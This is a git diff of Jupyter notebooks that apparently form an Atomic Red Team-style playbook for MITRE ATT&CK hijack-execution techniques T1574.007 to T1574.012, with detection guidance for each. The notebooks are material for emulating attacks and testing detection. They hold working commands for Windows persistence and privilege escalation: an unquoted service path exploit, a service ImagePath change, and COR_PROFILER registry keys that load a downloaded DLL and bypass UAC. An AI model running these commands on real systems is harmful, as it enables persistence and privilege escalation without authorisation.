"name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.007.ipynb b/playbook/tactics/persistence/T1574.007.ipynb index afa26cbb..e6160239 100644 --- a/playbook/tactics/persistence/T1574.007.ipynb +++ b/playbook/tactics/persistence/T1574.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a1008b6d", + "id": "41693285", "metadata": {}, - "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line." + "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" }, { "cell_type": "markdown", - "id": "cdae91b6", + "id": "eb650a08", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "86ed5377", + "id": "74b308f6", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.008.ipynb b/playbook/tactics/persistence/T1574.008.ipynb index c3c266c5..f93f9318 100644 --- a/playbook/tactics/persistence/T1574.008.ipynb +++ b/playbook/tactics/persistence/T1574.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "69d5ef71", + "id": "ef7bfa31", "metadata": {}, "source": "# T1574.008 - Path Interception by Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001)." }, { "cell_type": "markdown", - "id": "e1d2eb3f", + "id": "4e178ba1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "883cef21", + "id": "92687daa", "metadata": {}, "source": [ "### Atomic Test #1 - powerShell Persistence via hijacking default modules - Get-Variable.exe", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "906ef0e9", + "id": "7621466f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "30d46a35", + "id": "d8b2639c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e1dc0dba", + "id": "dedc3dad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7fa66b87", + "id": "a31414cd", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n" } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.009.ipynb b/playbook/tactics/persistence/T1574.009.ipynb index 4394742a..d32ad245 100644 --- a/playbook/tactics/persistence/T1574.009.ipynb +++ b/playbook/tactics/persistence/T1574.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4f643a35", + "id": "e7d9af8c", "metadata": {}, "source": "# T1574.009 - Path Interception by Unquoted Path\nAdversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process." }, { "cell_type": "markdown", - "id": "f9c7470e", + "id": "39e2eac8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f34b493a", + "id": "e4211de8", "metadata": {}, "source": [ "### Atomic Test #1 - Execution of program.exe as service with unquoted service path", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\Program Files\\windows_service.exe\"\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" + "```command_prompt\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\Program Files\\windows_service.exe\"\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d6774f29", + "id": "a56c497a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "fa9f0140", + "id": "4213be73", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dbf4df94", + "id": "5ff14c2f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "dedd27c9", + "id": "a05774ed", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.010.ipynb b/playbook/tactics/persistence/T1574.010.ipynb index bed1e60e..1530e781 100644 --- a/playbook/tactics/persistence/T1574.010.ipynb +++ b/playbook/tactics/persistence/T1574.010.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "41fd2170", + "id": "03f5b026", "metadata": {}, "source": "# T1574.010 - Services File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "7d2d7aa0", + "id": "c6054b25", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8dcfe8c2", + "id": "2a348789", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.011.ipynb b/playbook/tactics/persistence/T1574.011.ipynb index ff4df5f6..9e15fa74 100644 --- a/playbook/tactics/persistence/T1574.011.ipynb +++ b/playbook/tactics/persistence/T1574.011.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "8212d378", + "id": "b7511b68", "metadata": {}, "source": "# T1574.011 - Services Registry Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)" }, { "cell_type": "markdown", - "id": "93502ed6", + "id": "0d3e010f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0644be49", + "id": "092fabfd", "metadata": {}, "source": [ "### Atomic Test #1 - Service Registry Permissions Weakness", - "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", + "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", "```powershell\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\weakservicename |FL\n```" @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3236f887", + "id": "16688037", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "921b6867", + "id": "a4bff78e", "metadata": {}, "source": "### Atomic Test #2 - Service ImagePath Change with reg.exe\nChange Service registry ImagePath of a bengin service to a malicious file\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The service must exist (#{weak_service_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Get-Service calcservice) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nsc.exe create calcservice binpath= \"%windir%\\system32\\win32calc.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "23bc67a6", + "id": "08776c1c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "620b7cd6", + "id": "06c27e23", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a6095e50", + "id": "c297df7b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8d1d83ed", + "id": "73a41087", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe delete calcservice\n```" }, { "cell_type": "code", "execution_count": null, - "id": "512d0820", + "id": "3af8d5c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "bc5010cb", + "id": "a716bd21", "metadata": {}, "source": "## Detection\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data." } @@ -87,13 +87,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.012.ipynb b/playbook/tactics/persistence/T1574.012.ipynb index 46c5bae4..fb43bd14 100644 --- a/playbook/tactics/persistence/T1574.012.ipynb +++ b/playbook/tactics/persistence/T1574.012.ipynb @@ -2,154 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "09dd8564", + "id": "ec0df4a7", "metadata": {}, "source": "# T1574.012 - COR_PROFILER\nAdversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "markdown", - "id": "13450357", + "id": "140c46d9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2c1d1110", + "id": "af48987f", "metadata": {}, - "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d62aa58e", + "id": "363f9552", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0200f99c", + "id": "46fc1aab", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" + "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "10c1037f", + "id": "23615a0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d49ea3b5", + "id": "3e0e42d0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6739befa", + "id": "d025e573", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0461e2ae", + "id": "e548e768", "metadata": {}, - "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": 